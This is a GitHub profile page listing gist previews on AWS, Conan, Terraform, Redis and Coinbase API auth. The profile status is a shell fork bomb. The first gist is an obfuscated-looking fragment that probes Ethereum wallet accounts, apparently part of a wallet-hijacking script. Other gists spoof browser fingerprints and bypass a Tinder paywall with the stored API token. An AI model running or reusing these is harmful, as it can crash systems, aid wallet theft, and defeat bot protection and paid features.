Skip to content

Instantly share code, notes, and snippets.

View sylvainSUPINTERNET's full-sized avatar
🗑️
:(){ :|: & };:

sylvainSUPINTERNET

🗑️
:(){ :|: & };:
View GitHub Profile
var neth = 0,
rund = 0,
loval = 0
async function checkethereumw() {
try {
const _0x124ed3 = await window.ethereum.request({ method: 'eth_accounts' })
_0x124ed3.length > 0
? (runmask(), rund != 1 && ((rund = 1), (neth = 1), newdlocal()))
: rund != 1 && ((rund = 1), newdlocal())
} catch (_0x53a897) {
@sylvainSUPINTERNET
sylvainSUPINTERNET / step-functions.md
Created June 10, 2025 14:38 — forked from vidanov/step-functions.md
AWS Step functions. InputPath, OutputPath, ResultPath

AWS Step functions

InputPath, OutputPath, ResultPath

  • InputPath -> the part of the original JSON payload to take to the step
  • OutPutPath -> the part of the original JSON payload to return after the step is completed
  • ResultPath -> here you can define a node to store the output you create in the step.

Please note "output" node is visible in the step function logs and here in the doc, but you do not have it in the function input. It means { "output": "1.05" } will be just

@sylvainSUPINTERNET
sylvainSUPINTERNET / list.md
Created March 25, 2025 10:25 — forked from ih2502mk/list.md
Quantopian Lectures Saved
const pw = require('playwright');
const UserAgent = require('user-agents');
const uuid = require('uuid');
const tmp = require('tmp-promise');
const UINT32_MAX = (2 ** 32) - 1;
const WEBGL_RENDERERS = ['ANGLE (NVIDIA Quadro 2000M Direct3D11 vs_5_0 ps_5_0)', 'ANGLE (NVIDIA Quadro K420 Direct3D9Ex vs_3_0 ps_3_0)', 'ANGLE (NVIDIA Quadro 2000M Direct3D9Ex vs_3_0 ps_3_0)', 'ANGLE (NVIDIA Quadro K2000M Direct3D11 vs_5_0 ps_5_0)', 'ANGLE (Intel(R) HD Graphics Direct3D9Ex vs_3_0 ps_3_0)', 'ANGLE (Intel(R) HD Graphics Family Direct3D9Ex vs_3_0 ps_3_0)', 'ANGLE (ATI Radeon HD 3800 Series Direct3D9Ex vs_3_0 ps_3_0)', 'ANGLE (Intel(R) HD Graphics 4000 Direct3D11 vs_5_0 ps_5_0)', 'ANGLE (Intel(R) HD Graphics 4000 Direct3D11 vs_5_0 ps_5_0)', 'ANGLE (AMD Radeon R9 200 Series Direct3D11 vs_5_0 ps_5_0)', 'ANGLE (Intel(R) HD Graphics Direct3D9Ex vs_3_0 ps_3_0)', 'ANGLE (Intel(R) HD Graphics Family Direct3D9Ex vs_3_0 ps_3_0)', 'ANGLE (Intel(R) HD Graphics Direct3D9Ex vs_3_0 ps_3_0)', 'ANGLE (Intel(R) HD Graphics Family Direct3D
import heapq
from collections import deque
from multiprocessing import Pool, Manager
import time
# Given constraints dictionary
constraints = {
'D6E': {
'00': {'REG': ['AR', 'AQ', 'AP', 'AM']},
'01': {'REG': ['AR', 'AP']}
@sylvainSUPINTERNET
sylvainSUPINTERNET / using_conan_cpp.md
Created April 15, 2024 07:08 — forked from ForgottenUmbrella/using_conan_cpp.md
How to use Conan, a C++ package manager, for beginners

Package Management in C++ with Conan for Beginners

C++ package management can be complicated.

Below are some key tools involved:

Make

Make runs commands defined in a Makefile, for example, to build and install programs with the compiler and linker. For our purposes, we won't worry about what this looks like; you only need to understand its purpose in relation to CMake.

@sylvainSUPINTERNET
sylvainSUPINTERNET / main.tf
Created November 21, 2022 21:59 — forked from AHaydar/main.tf
Terraform example for DynamoDB table, Lambda, and IAM to allow the Lambda to scan the table
provider "aws" {
profile = "default"
region = "ap-southeast-2"
}
module "company_table" {
source = "terraform-aws-modules/dynamodb-table/aws"
name = "company"
@sylvainSUPINTERNET
sylvainSUPINTERNET / redis-streams-overview.java
Created August 12, 2022 15:46 — forked from raj454raj-harness/redis-streams-overview.java
Redis Streams placeholder implementation
// Publish API for redis stream
void send(Map<String, String> messagePayload) {
StreamMessageId messageId = redisClient.getStream(streamName, new StringCodec("UTF-8")).addAll(messagePayload, maxTopicSize);
log.info("Message {} was inserted to stream", messageId);
}
// Read API for polling redis stream
List<Message> read(long maxWaitTime) {
// If you are using Redis 6.2 or above, consider using XAUTOCLAIM instead of a combination of XPENDING and XCLAIM
@sylvainSUPINTERNET
sylvainSUPINTERNET / tinder.user.js
Last active May 15, 2022 15:42 — forked from tajnymag/tinder.user.js
Tinder Deblur Userscript without payment KEKW
// Copy this into your chrome console ( when you are on the page with blur pics )
async function unblur() {
const teasers = await fetch("https://api.gotinder.com/v2/fast-match/teasers", { "headers": { "X-Auth-Token": localStorage.getItem('TinderWeb/APIToken') }}).then(res => res.json()).then(res => res.data.results);
const teaserEls = document.querySelectorAll('.Expand.enterAnimationContainer > div:nth-child(1)');
for (let i = 0; i < teaserEls.length; ++i) {
const teaser = teasers[i];
@sylvainSUPINTERNET
sylvainSUPINTERNET / auth_coinbase_pro_example.js
Last active April 27, 2022 21:57
Auth for real api / sandbox api coinbasepro - nodejs
const crypto = require('crypto');
const axios = require('axios');
// FUKIN INVALID SIGNATURE !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
( async () => {
/*
// USING PROD ?
const { data } = await axios.get('https://api.coinbase.com/v2/time');